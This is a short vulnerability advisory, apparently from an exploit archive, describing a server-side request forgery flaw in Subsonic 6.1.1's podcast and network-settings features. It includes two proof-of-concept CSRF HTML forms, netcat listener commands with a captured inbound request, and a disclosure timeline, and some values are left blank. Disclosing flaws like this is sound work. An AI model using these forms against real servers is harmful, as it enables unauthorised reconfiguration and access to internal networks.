Subsonic 6.1.1 - Server-Side Request Forgery







[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website:
[+] Source:
[+] ISR: ApparitionSec            


subsonic v6.1.1

Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.

Vulnerability Type:
CSRF - Server Side Request Forgery

CVE Reference:

Security Issue:
Remote attackers can abuse the Podcast feature of subsonic to launch Server Side Request Forgery attacks on the internal network 
or to the internet if an authenticated user clicks a malicious link or visits an attacker controlled webpage. SSRF can be used to
bypass Firewall restriction on LAN.


nc.exe -llvp 1337
listening on [any] 1337 ...

connect to [] from USER-PC [] 64428
GET / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_45
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

nc.exe -llvp 1337
listening on [any] 1337 ...

1) Subscribe to Podcast CSRF Persistent SSRF

<form method="post" action="http://localhost:4040/podcastReceiverAdmin.view?">
<input type="text" name="add" value="">
<input type="submit" value="OK">

nc.exe -llvp 5555
listening on [any] 5555 ...

2) Interet Radio Settings CSRF Persistent SSRF

<form  action="http://localhost:4040/networkSettings.view" method="post">
<input name="portForwardingEnabled" type="hidden" value="true"/>
<input type="hidden" name="_portForwardingEnabled" value="on"/>
<input  name="urlRedirectionEnabled" type="hidden" value="true" />
<input type="hidden" name="_urlRedirectionEnabled" value="on"/>
<input  name="urlRedirectType" type="radio" value="NORMAL"/>
<input  name="urlRedirectFrom" type="radio" value="yourname"/>
<input  name="urlRedirectType"  type="radio" value="CUSTOM" checked="true" />
<input  name="urlRedirectCustomUrl" type="hidden" value=""/>

Network Access:


Disclosure Timeline:
Vendor Notification:  May 29, 2017
Vendor Acknowledgement: May 30, 2017
June 4, 2017  : Public Disclosure

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or exploits by the author or elsewhere. All content (c).